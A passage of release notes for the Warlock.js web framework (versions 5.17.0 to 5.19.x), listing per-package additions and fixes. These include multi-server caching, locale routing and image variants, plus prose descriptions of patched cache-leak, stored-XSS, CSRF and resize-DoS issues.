    • Addedhttp.rateLimit now passes @fastify/rate-limit options through (redis for a store shared across servers, nameSpace, keyGenerator, allowList, ...). http.rateLimit.enabled: false turns the global limiter off. The per-route middleware.rateLimit() stays in-process.
    • Addedsocket.adapter — an adapter factory (e.g. @socket.io/redis-adapter) applied via io.adapter() for broadcasting across servers. Polling clients need sticky sessions.
    • AddedProduction single-server warnings, once at boot, when the default cache driver is in-memory, the default storage driver is local, or sockets have no socket.adapter. Silence with cache.silenceSingleServerWarning, storage.silenceSingleServerWarning, socket.silenceSingleServerWarning.
    • Addedmiddleware.idempotency({ reservationTtl }) (also http.idempotency.reservationTtl, default 60 seconds) — how long the in-flight reservation lives.
    • AddedDocs: "Running on multiple servers" guide.
    • ChangedRefined connector build guidance and grouped skill discovery.
    • Changedmiddleware.idempotency() reserves the key (create-only) before the handler runs. A concurrent duplicate now gets 409 + Retry-After instead of running twice. A 5xx response frees the key so the client can retry. If the cache is down the middleware fails open.
    • FixedThe repository cache is also cleared after the DB transaction commits (cascade afterCommit), fixing stale reads when a concurrent read re-cached the old row between the model event and COMMIT.
    create-warlockChanged 2
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    • ChangedWeb starter loaders use named functions and public loader-context types while retaining inferred return types in paired setup modules.
    @warlock.js/accessChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/aiChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-anthropicChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-bedrockChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-deepseekChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-googleChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-groqChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-liveChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-mistralChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-ollamaChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-openaiChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-panopticChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-toolsChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-workspaceChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/ai-xaiChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/authChanged 1
    • ChangedloginThrottleMiddleware now counts failures with an atomic cache.increment. The first failure opens the window with a create-only cache.set carrying the TTL, so counts are exact across servers on the redis/pg cache drivers (concurrent failures are no longer lost to a read-modify-write). Thresholds, window and lockout behaviour are unchanged. The memory cache driver is per-process, so counts there are per-process too.
    @warlock.js/cascadeAdded 1
    • AddedafterCommit(fn) — run a side effect only once the transaction has committed. Inside a transaction, fn is queued and runs after the outermost COMMIT (in order, awaited one by one); it is discarded on rollback or a failed COMMIT. Outside a transaction, it runs on the next microtask. Errors are logged and never change the transaction result. Use it in model event listeners (saved, created, ...) for cache clears, sitemap regeneration and emails.
    @warlock.js/contextChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/fsChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/heraldChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/loggerChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/notificationsChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/queueChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    @warlock.js/schedulerAdded 1
    • Addedjob.onOneServer({ lockTtl?, key? }) — run each tick on exactly one server. Every server races for a create-only, TTL-bounded cache claim keyed scheduler.<key ?? name>.<scheduledTickEpochMs>. The claim is never released, so exactly one server runs each tick even if another server's timer fires late. Losers skip the tick and emit job:skip. Requires a shared cache driver (redis/pg) and a job name or key. @warlock.js/cache is an optional peer dependency. Default claim TTL is min(interval, 1h) with a 60s floor (1h for cron jobs).
    @warlock.js/sealChanged 1
    • ChangedAdded a package-level skill index and clearer discovery descriptions for grouped agent guidance.
    5.19.1
    September 24, 2026

    @warlock.js/web fixes paired setup-module register projection in development SSR while preserving server-only setup exports. create-warlock now prompts API and full-stack presets for a database choice and supports an explicit AI opt-out.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webFixed 1
    • FixedDevelopment SSR retains the framework-projected register() hook for a paired setup module when the UI references its loader only with import type, without exposing server-only setup exports or requiring a UI value import.
    create-warlockChanged 1
    • ChangedThe default interactive scaffold flow now asks for a database after the API-only/full-stack choice unless --db or --no-db already answered it; the same selector includes None for a database-free app. Customize's AI multiselect now offers None last, treats it alone like an empty selection, and asks again when it is combined with an AI provider or capability.
    @warlock.js/sealFixed 1
    • FixedCorrected the Cascade and Core links in the overview skill.
    5.19.0
    September 23, 2026

    @warlock.js/auth makes refresh/logout token families durable across concurrent requests; @warlock.js/web adds optional paired setup modules and useSubmitForm() for named API routes. Core exposes named API metadata, skills document the new supported flows, and Create Warlock approves only the selected image feature's Sharp native build while reporting JWT generation skipped after a failed install.

    Full release notes or run npx warlock release-notes.

    @warlock.js/authAdded 3Changed 1Fixed 2
    • AddedauthMiddleware() now uses auth.defaultUserType (or the sole configured user type), and the object overload accepts { source, key, optional, refresh, redirect }. A page-local redirect changes only page-route authentication failures; APIs retain 401. Legacy authMiddleware(userType, "header" | "cookie:name") calls remain supported.
    • AddedDurable token families: token pairs associate access and refresh rows with AuthTokenFamily; family revoke atomically stamps the family, revokes its refresh rows, and removes its associated access rows. During the additive upgrade, unassociated legacy access rows are revoked conservatively only for the same user and type. Register authMigrations and run pending migrations.
    • AddedAutomatic cookie renewal is opt-in through the middleware refresh descriptor. The finalized coordinator permits only an exact, immediately active successor pair during a bounded duplicate window (default five seconds; configurable from zero through ten seconds). It does not broaden legacy authService.refreshTokens replay behavior. A duplicate within that window is tolerated deliberately; after it, old-token reuse remains a replay and revokes the family. Family logout makes late cookies unusable. This does not claim to solve arbitrary out-of-order HTTP cookie delivery.
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    • FixedRefresh attempts emit token notifications after their owned transaction commits, discarding notifications from rolled-back retries.
    • FixedIssuing into an explicitly reused token family now shares its durable revocation boundary, preventing credentials from being written after concurrent logout.
    @warlock.js/webAdded 2Changed 1
    • AddedOptional paired *.setup.ts modules for pages, layouts, root, and the error boundary. Server setup composes with the UI component, projects safe register() behavior to both runtimes, preserves type-only loader inference, rejects duplicate exports, and is watched during development.
    • AddeduseSubmitForm from the optional @warlock.js/web/form entry submits an existing @mongez/react-form through the configured HTTP singleton or an injected client. It resolves named API route metadata before hydration, supports direct paths, FormData, cancellation, lifecycle callbacks, and validation-error mapping without exposing server handlers or policy.
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/coreAdded 1Changed 1
    • Addedrouter.getNamedApiRoutes() returns fresh frozen browser-safe snapshots of registered named API routes (name, path, method). It excludes pages, handlers, middleware, schemas, and source paths; all remains visible as metadata so a browser consumer can require an explicit request method.
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    create-warlockChanged 3
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    • ChangedThe default Web starter now keeps root, page, and not-found server exports in paired *.setup.ts modules. Components remain presentation-only and import the home loader type-only, while the setup module retains the universal localization register() projection.
    • ChangedPNPM image scaffolds approve only Sharp's required native build in the generated pnpm-workspace.yaml before installing the selected feature. An existing explicit denial is preserved. If selected feature dependencies fail to install, JWT generation is reported as skipped instead of retrying through the package manager.
    @warlock.js/accessChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/aiChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-anthropicChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-bedrockChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-deepseekChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-googleChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-groqChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-liveChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-mistralChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-ollamaChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-openaiChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-panopticChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-toolsChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-workspaceChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/ai-xaiChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/cacheChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/cascadeChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/contextChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/fsChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/heraldChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/loggerChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/notificationsChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/queueChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/schedulerChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/sealChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    @warlock.js/sitemapChanged 1
    • ChangedRefined package skill-discovery descriptions and regenerated the llms projections.
    5.18.0
    September 23, 2026

    @warlock.js/web adds shared root/layout/page metadata with consistent SSR and client-navigation titles, plus useIsNavigating() for router-owned pending state. Development SSR reuses Core-owned models and their reload/removal notifications; initial sitemap generation now waits for database initialization so warlock doctor remains registration-only.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webAdded 2Fixed 2
    • AddedPages, layouts, and root.tsx now share typed static or server-only callback metadata. Titles accept a string, { default?, template? }, or { absolute }; resolution produces the same string title for SSR and client navigation while composing metadata from page through layouts to root.
    • AddeduseIsNavigating() exposes router-owned pending state for client navigation, refreshes, and locale changes. It is safe during SSR and replaces event-based guesses for reactive loading indicators.
    • FixedDevelopment SSR reuses models already loaded by Core, including their named and default exports. Core reload and removal notifications invalidate the corresponding SSR modules while client import checks remain in place.
    • FixedInitial sitemap generation now runs during connector startup, after database initialization. Registration-only commands such as warlock doctor register sitemap routes without invoking suppliers that require a database connection.
    @warlock.js/coreFixed 1
    • FixedDevelopment model loading now shares model ownership and reload notifications with Web's SSR adapter, allowing pages to reuse the same model constructors as Core instead of registering a second copy.
    5.17.1
    September 22, 2026

    @warlock.js/core now completes initial typings generation before background health checking and preserves configured declaration roots; @warlock.js/web fixes development page projection with binding-aware import liveness. Public APIs are unchanged.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreFixed 3
    • Fixed@warlock.js/web fixes page projection to resolve import references by lexical binding after server configuration is removed. A component-local t = useTrans() no longer retains an unrelated metadata-only Core import in the client view.
    • FixedDevelopment startup now completes initial typings generation before it starts health checking, so the checker receives the generated declaration roots. Health checking remains background work and does not delay connector readiness.
    • FixedThe health checker preserves declaration roots already included by the project's tsconfig.
    @warlock.js/webFixed 1
    • FixedPage projection now resolves import references by lexical binding after removing server configuration. A component-local variable such as const t = useTrans() no longer keeps an unrelated metadata-only Core import in the client view and causes development rendering to fail; genuine runtime references remain intact.
    5.17.0
    September 22, 2026

    @warlock.js/web moves page, layout, and root server policy into one direct config export (BREAKING): PageConfig, LayoutConfig, and RootConfig keep route/cache/prefix/strict-mode policy together while loaders, registration, named error boundaries, and components remain separate. Web adds route-scoped locales.json translations, typed keys, useChangeLocaleCode(), and locale-aware navigation, sitemap, and robots behavior; new scaffolds enable root strictMode. @warlock.js/core and Web require @mongez/localization 3.5.0 for scoped translation lookup. Generator matrix ran subset scope (web, sitemap rows); Hasan authorised the release on 2026-09-21: "Go with your rec".

    Full release notes or run npx warlock release-notes.

    @warlock.js/webFixed 24Security 2
    • FixedLocale switches under the default URL strategy use a provisional data request: a failed or superseded navigation cannot persist its locale, including on page-cache hits. The successful current navigation commits a host-only locale preference with its tree. Invalid preferences fall through to the legacy locale cookie and normal locale resolution; an explicit response.setLocale() clears the preference before setting its authoritative cookie.
    • FixedPage-cache keys include the route translation snapshot revision. If a request's final locale snapshot differs from the one used for lookup, the response is not stored under the earlier key.
    • FixedA client disconnecting mid-stream no longer logs an SSR render error or reaches web.errors.report(). The stream now aborts with a recognisable reason instead of none, so it stops being mistaken for a genuine render failure.
    • FixedchangeLocaleCode() now corrects document.documentElement's lang/dir itself, synchronously, before its returned promise resolves — under an active web.localeRouting.strategy (the pushState path) as well as the ?locale= path. Before, only NavigationRoot's own effect did this correction, on React's next commit, which runs after changeLocaleCode() had already resolved; a caller reading document.documentElement right after await changeLocaleCode("ar") could still see the stale locale's lang/dir.
    • Fixedrobots.txt now covers every locale-prefixed URL under an active web.localeRouting.strategy. Before, a rule such as Disallow: /admin left /ar/admin crawlable, because only the bare path was written. Every allow/disallow rule that starts with / — other than bare /, and never a rule containing * or $ — now also emits its prefixed variant for each prefixed locale code, deduped, next to the original. Strategy "none" (the default) is unchanged.
    • FixedThe pageAuth login redirect now carries the request's locale prefix under an active web.localeRouting.strategy. Before, an anonymous request to /ar/admin redirected to /login?returnUrl=%2Far%2Fadmin — returnUrl correctly pointed back at the locale-prefixed page, but the login screen itself dropped the locale. It now redirects to /ar/login?returnUrl=%2Far%2Fadmin. Left unchanged when auth.pageAuth.loginPath is absolute or already locale-prefixed. (@warlock.js/auth; see its own changelog.)
    • FixedPage-cache invalidation now always reaches the stored pages. Entries and their tag index used to go through your app's cache globalPrefix. Apps that derived it from the request (the scaffold used Origin) stored pages on GET under one prefix and invalidated them on POST under another, so nothing was evicted. The page cache now uses its own warlock.page.<deployment> namespace, with the Host still part of every key. Invalidation from a background job, with no request, works too.
    • FixedA page loader that returns notFound() now renders your 404.page.tsx, with status 404 and noindex, instead of an empty body. Client navigation to such a URL gets the same page.
    • FixedA page or layout middleware that already sent its reply (a redirect, pageAuth, forbidden()) is no longer sent a second time. Before, every guarded redirect logged a false "already-sent" error.
    • FixedchangeLocaleCode() and client navigation install the translations that come with the page data. Before, any translation group registered only on the server (every app's auth and validation messages) made the switch abort in development and render raw keys in production.
    • Fixed@warlock.js/web/sitemap: corrected the 5.16.0 entry below — warlock build never generates the sitemap. When web.sitemap is enabled, generation happens at runtime boot (web.sitemap.regenerate.onBoot) or when the app calls regenerateSitemap(), never at build time.
    • FixedA detected crawler's inlined deferred value reached use() as a raw value instead of a promise, so every page reading it threw "An unsupported type was passed to use()" and crawlers got skeletons instead of content. Inline mode now passes an already-fulfilled thenable that use() reads synchronously; the key still stays in the hydration payload with its __WARLOCK_DEFER__ settlement chunk for JS-capable crawlers. The data-request wire is unaffected. Corrected the 5.12.0 web.streaming.crawlers entry below, which claimed crawlers get the resolved document _instead of_ deferred chunks — the settlement scripts are retained for JS hydration; only non-JS indexing needs nothing beyond the inlined HTML.
    • FixedCrawler documents no longer carry a pending Suspense boundary for deferred sections far down a long page. React outlines a completed boundary (fallback in the HTML, content in a hidden segment swapped in by script) once the page passes about 12.8 KB. Renders that wait for everything to be ready now inline every completed boundary, so non-JS indexers see the content.
    • FixedAuthenticated requests never get a public Cache-Control. A request that used authenticated state (including through authMiddleware on a page or layout) is sent private, no-store, even on a route that opted into config.cache.public.
    • FixedIn production, the :value placeholder in a page-validation issue message now renders … instead of the submitted value, in your translations and in author errorMessage templates alike. Before, a translation such as the starter's enum message ("given value :value") put the raw query or param value into the error page and the hydration payload. A custom rule that concatenates raw input into its own message text, without :value, is not covered and stays your responsibility.
    • FixedIn production, the sitemap is built from the page manifest. Before, a production build could generate it without the pages' own sitemap exports.
    • FixedA page's sitemap export is stripped from the client bundle in every named-export form, including re-exports (export { x as sitemap } from "…", export { sitemap } from "…"). A bare export * from in a page module is refused with a clear error, because its export set can't be checked.
    • FixedPage validation may declare only params or only query. Before, a page that declared one of them failed every request with unknownKeys. Validation now also runs after the app and layout loaders and before the page loader. A layout redirect still wins, and a validation 400 renders your error page inside layouts that received their data.
    • FixedIn production, a page validation 400 gives error.page.tsx a clear message and error.errors as { input, type, error } entries. In production, the :value placeholder in page-validation messages renders … instead of the submitted value. A custom rule or translation that builds its message from raw input without :value isn't covered, so keep submitted values out of custom message text. Other unexpected errors keep the generic message and errorCode.
    • FixedLocale URL routing (web.localeRouting.strategy) now actually reaches the browser in a production build. Before, the browser only ever learned the routing strategy from virtual:warlock/pages, resolved at BUILD time — wrong whenever the app config wasn't loaded at build time, or differs per environment — so a production bundle could hydrate with { strategy: "none" } while the server was actively locale-routing, silently disabling <Link> prefixing and changeLocaleCode(). The server document now carries the runtime routing table it actually resolved, as a <meta name="warlock-locale-routing"> tag rendered by <Head/>; the hydration entry reads it before mount and falls back to the build-time value only when the meta is absent or malformed.
    • FixedA client (link-click) navigation to a cache: { serverCache: true } route whose loader calls defer() no longer throws "An unsupported type was passed to use()" (minified React error #438), with the page's deferred sections (e.g. "Read next", comments) never rendering. A serverCache route's JSON data representation never streams — the deferred value is awaited and put on the wire already resolved — but the page component still reads it with use(), unconditionally. The wire now keeps marking that key deferred even though its value is inlined, on both the MISS that stores the entry and every HIT that replays it, and the client wraps the resolved value in an already-fulfilled thenable before handing it to the page — the same tracked shape use() reads synchronously that the crawler inline-mode fix (above) introduced for the document. The NDJSON streaming representation is unchanged.
    • FixedThe client-side scroll-position map (and its sessionStorage mirror) no longer grows without bound for the life of a tab. Both are now capped at 50 entries with LRU eviction — a save or a restore touches an entry, making it most-recently-used — so a long-lived SPA session (a dashboard or admin tool left open across many client navigations over hours/days) can no longer grow the map, or the JSON blob re-serialized to sessionStorage on every navigation, without limit. An old, uncapped sessionStorage value still reads back fine and is trimmed down to the cap on the next save.
    • FixedA core @warlock.js/core HttpError (ResourceNotFoundError, ForbiddenError, BadRequestError, ConflictError, …) thrown in a loader now resolves to its own status instead of a generic 500: a resolved 404 renders your 404.page.tsx exactly like a loader's own notFound(), and any other 4xx renders error.page.tsx with that status and its real message, without reaching web.errors.report(). A resolved 5xx still gets the generic production message and is still reported.
    • FixedinvalidatePageCache() in warlock dev now actually evicts the page it targets. In dev, @warlock.js/web loads as two separate module graphs — tsx/Node for HTTP routes and installers, Vite's SSR module runner for the page/layout render path — each with its own module registry, so the page cache's memoized driver instance used to be two different in-memory stores: a route's invalidatePageCache(["post:1"]) evicted the tsx graph's store while the renderer kept reading its own, still-populated one, and the page stayed a HIT until its ttl/maxAge expired. The resolved store/driver instance, and the memoized @warlock.js/cache import and its one-time in-process-driver warning, now live on a Symbol.for("warlock.web.pageCache...") globalThis slot, the same pattern route-table.ts already uses for href(), so every graph resolves the SAME instance. Production, which runs one module graph, is unaffected.
    • SecurityThe server-side page cache's pre-lookup bypass previously only recognized an Authorization header or the cookie named by auth.cookie.name (default access_token). An app whose session cookie used a different name (e.g. token) could have a signed-in visitor's render STORED, and the next anonymous visitor's request HIT it, receiving the signed-in visitor's data. Any request whose Cookie header carries a cookie other than the framework locale cookie or a validated locale-preference cookie now bypasses cache lookup and is never stored, regardless of auth.cookie.name. The same rule forces Cache-Control: private, no-store on a config.cache.public route that has no serverCache, where it previously could be public. A malformed or empty Cookie header (Cookie: , Cookie: ;;;, Cookie: garbage-no-equals) fails closed the same way. Purge any page-cache and CDN entries stored by an earlier version after upgrading — see Upgrading, above.
    • SecurityReact's own inline scripts — the $RC/$RS boundary-reveal/segment scripts Fizz streams to swap a completed Suspense boundary's placeholder into place — now carry the request's CSP nonce, on every render path that can stream (the ordinary flush-early path, the crawler/waitForAll path, and error-document escalation). Before, an app with http.csp.enabled and a streaming or defer()-ing page had these scripts blocked under a strict script-src 'nonce-...' policy (no 'unsafe-inline'), leaving the deferred section's fallback on screen forever instead of being swapped for the real content.
    @warlock.js/coreAdded 4Fixed 5Security 2
    • AddedStandalone warlock generate.typings includes route locales.json keys, honoring $group and existing literal translation registrations. The optional Web build helper is resolved from the application's installed package using ESM export conditions, without executing application configuration or the Web root entry.
    • AddeduploadedFileController, a ready-made handler for router.get("/uploads/*", uploadedFileController) that serves local uploads safely. The request path must resolve inside the storage root, symlinks included, and never into the variant cache. Anything else gets the same 404 as a missing file, so the route cannot be used to probe for files. Originals are sent with a one-year cache.
    • AddedgenerateImageVariants(relativePath, options?), an opt-in ingest-time counterpart to uploadedFileController: call it right after an upload is saved to render every configured uploads.images variant (optionally options.variants to limit which ones) up front. It shares the route's normalized config, cache key and derivative path, so GET /uploads/<path>?variant=<name> is served from cache on its first request, and its source guards and error statuses match the route. It returns a plain, serializable descriptor ({ src, width, height, variants, formats? }) matching web's ImageDescriptor.
    • AddedBounded on-demand image variants, configured under uploads.images: ?variant=<name> renders a variant named in uploads.images.variants (width and height from 1 to 8192, quality from 1 to 100, fit of cover, contain or inside), and &format= picks an output format from the formats allowlist (webp, avif). Any other query key, a repeated key, an unknown variant or a format that is not allowed returns 400. Only jpeg, png, webp and avif sources are resized, detected by their magic bytes, never their extension. gif and svg return 415. maxSourceBytes (default 25 MB) and maxSourcePixels (default 40,000,000) cap the source, and a larger one returns 413. Each derivative is cached on disk under a sha256 of the source path, size, mtime, variant and format, and it is written atomically. Concurrent requests for the same derivative generate it once. It is served with Cache-Control: public, max-age=31536000, immutable and an ETag that answers 304. Rewriting the source changes the key, so the next request renders a new derivative. An invalid uploads.images config throws ImageVariantsConfigError the first time a variant is requested. The variant path needs sharp, but originals are served without it.
    • FixedRequest translation helpers follow the request's current locale; Web can supply its immutable route-scoped resolver for request.t(), request.trans(), and explicit request.transFrom(locale, key, placeholders?). Without that resolver, all retain their global-registry behavior.
    • FixedLocale preference resolution validates the host-only preference before falling through to the legacy cookie, header, and default. response.setLocale() clears the preference before writing its authoritative locale cookie. Provisional Web navigation requests do not persist a locale before the browser commits a successful current navigation.
    • FixedImage variants (uploadedFileController and generateImageVariants) no longer enlarge a source smaller than the variant's target width or height. A variant is now rendered with sharp's withoutEnlargement: true by default, so a 100px source requested at { width: 320 } stays 100px wide instead of being upscaled. Opt in per variant with enlarge: true in ImageVariantDefinition (a non-boolean value throws ImageVariantsConfigError); the effective flag is part of the normalized variant and its cache key, so flipping it regenerates the derivative. generateImageVariants' descriptor now reports the actual rendered width and height, read from the derivative it wrote, not the requested size.
    • FixedgenerateImageVariants now throws ImageVariantsConfigError — not a plain Error (no storage root) or HttpError(400) (uploads.images not configured) — for both server misconfiguration states, matching how a bad uploads.images value is already reported; input-derived failures (traversal, missing file, bad format, size limits, unknown variant name) still throw HttpError. uploadedFileController's own responses for these requests are unchanged.
    • Fixedwarlock seed (and warlock migrate, for data migrations) now preload the storage connector, and Storage/ScopedStorage throw a named StorageNotInitializedError — pointing at src/config/storage.ts and a custom command's preload.connectors — instead of a bare TypeError: Cannot read properties of null (reading 'name') when activeDriver is read before storage has been initialized in the process.
    • SecurityuploadedFileController no longer serves an upload original inline unless its bytes sniff as jpeg, png, webp or avif AND its extension names that same image type (.jpg/.jpeg for jpeg, .png for png, .webp for webp, .avif for avif) — never sniffed bytes alone, and never the extension alone. An inline response always carries the SNIFFED format's Content-Type set explicitly, not an extension-derived guess from sendFile. This closes two stored-XSS holes, sniffed-bytes vs. extension mismatched in each direction: an svg (or any other non-raster file) named .png/.jpg still downloads instead of rendering as its extension's type, and raster bytes named with a non-image or different-image extension — e.g. jpeg magic bytes saved as x.html — also download instead of being served under that extension's advertised type (text/html, previously inherited from sendFile). Every other original — svg, html, xml, text, pdf, unknown, any raster/extension mismatch either way — is sent with Content-Disposition: attachment, Content-Security-Policy: sandbox, and its extension-derived Content-Type, except the svg/html/xml family, which is downgraded to application/octet-stream. Every uploads response — originals and variants — now also carries X-Content-Type-Options: nosniff.
    • SecurityA default CSRF-Origin guard (card 8a752ab2) now runs at the earliest HTTP seam, before route middleware and any app handler, for every unsafe-method (POST/PUT/PATCH/DELETE) request that carries a Cookie header naming anything other than the framework locale cookie or a validated locale-preference cookie (a malformed Cookie header counts as carrying one — fails closed). It requires Origin — or, absent that, Referer — to name the request's own origin or an entry in auth.csrf.allowedOrigins, rejecting with 403 otherwise. Before this, that check only ran inside authMiddleware("cookie:*"), so a cookie-authenticated write reached through any other path (e.g. an app-owned optional-auth pattern reading its own token cookie) was never checked. A header-only API request (no Cookie header, e.g. Authorization: Bearer) is unaffected, and a route can opt out with { csrf: false } (RouteOptions.csrf) — documented as dangerous, for third-party callbacks and machine-to-machine routes only.
    create-warlockAdded 2Changed 3Fixed 1Security 1
    • Addedpnpm typecheck:template runs tsc --noEmit on templates/warlock/src/ against this checkout's own @warlock.js/* source (via tsconfig.template-check.json), catching a template import that no longer exists in the framework — the class of bug that let a removed-but-still-used import pass all 291 tests. Enforced on every run by specs/template-typecheck.spec.ts, complementing the slower registry-install typecheck:scaffold gate.
    • AddedThe scaffolded src/config/http.ts now sets trustProxy: false explicitly, with a comment on when/how to enable it behind a proxy or load balancer, and ships a commented-out, nonce-based csp starter block so both are discoverable instead of silently absent.
    • ChangedWeb scaffold pages use the 5.17 config export with PageConfig, keeping loaders and components as separate exports. New apps depend on @mongez/localization:^3.5.0 for scoped route translations.
    • ChangedNew Web scaffolds set strictMode: true in src/web/root.tsx's RootConfig, so the hydrated page, layout, and navigation tree receives React's development Strict Mode checks. Existing applications keep the framework default of false until they opt in.
    • ChangedThe CLI's source formatting check is part of test. Interactive project naming and preset selection preserve the entered name when Customize advances to package-manager selection.
    • FixedThe scaffolded src/config/cache.ts namespaced every cache key by request.originDomain || request.header("domain") || request.input("domain"). A browser GET carries no Origin while a CSRF-protected POST does, so the same visitor resolved two different prefixes and a write could never invalidate what a read had cached — repository caches and page-cache tags went silently stale (verified live on a real app). None of those three inputs are server-validated either, so any visitor could pick ?domain=anything or a domain header to land in an arbitrary namespace and grow the in-memory store without bound. globalPrefix is now a fixed, app-owned string derived from APP_NAME, with no request data read at all. Existing projects should apply the same change to src/config/cache.ts:
    • SecurityBREAKING: the scaffolded GET /uploads/* route resized images to any ?w=&h= a client sent. This was a denial-of-service vector, because every new size forced a full decode and resize and nothing was cached. The route also resolved the path without a containment check. The generated src/app/uploads/controllers/fetch-uploaded-file.controller.ts is gone. src/app/uploads/routes.ts now mounts core's uploadedFileController, which keeps the request inside the storage root and only renders the named variants the app declares. ?w= and ?h= now return 400. Existing projects should apply the same change:
    @warlock.js/cacheChanged 1Fixed 3
    • ChangedCache misses and expiries log at info instead of warn. A cache miss or expiry is normal behaviour, not a warning.
    • Fixedcache.tags([...]).invalidate() now deletes the tagged entries when a globalPrefix is configured, whether static ("store") or a function. Before, the tag index stored each key with the prefix already applied, and invalidation passed that key back through remove(), which applied the prefix a second time. So it dropped the tag index but deleted none of the tagged entries, and reads stayed stale until TTL. Every scaffolded app sets a globalPrefix. The tag index now stores the un-prefixed key in all of these paths: tags().set(), inline set(key, value, { tags }), tags().remove(), the scoped cache.namespace(...).tags(...) handle (including setNX), and the similar() tag filter. remove() applies the prefix exactly once, on every driver. With a function prefix, invalidation uses the prefix that is current when it runs, which is the same prefix the tag index itself is read under. The two therefore agree as long as the prefix is stable for a given app or tenant.
    • FixedMemoryCacheDriver.similar() returned no results whenever a globalPrefix was set, because it read each stored, already-prefixed key back through get(), which prefixed it again. It now reads entries by their stored key.
    • FixedUpgrade note: entries tagged before this upgrade are indexed under the old, already-prefixed form, so invalidation still can't reach them. Their tag index is dropped on the first invalidate(), which leaves those entries orphaned. They expire by their TTL, or flush() clears them right away.
    @warlock.js/authFixed 1Security 1
    • FixedThe pageAuth login redirect now carries the request's locale prefix when @warlock.js/web's web.localeRouting.strategy is active. Before, an anonymous request to a locale-prefixed page (e.g. /ar/admin) always redirected to the bare auth.pageAuth.loginPath (e.g. /login?returnUrl=%2Far%2Fadmin), dropping the locale even though returnUrl kept it. It now redirects to the locale-prefixed login path (/ar/login?returnUrl=%2Far%2Fadmin) — reading web.localeRouting.strategy / app.localeCodes / app.localeCode from config directly (auth has no dependency on web, in either direction). Left unchanged when loginPath is absolute (http…) or already locale-prefixed.
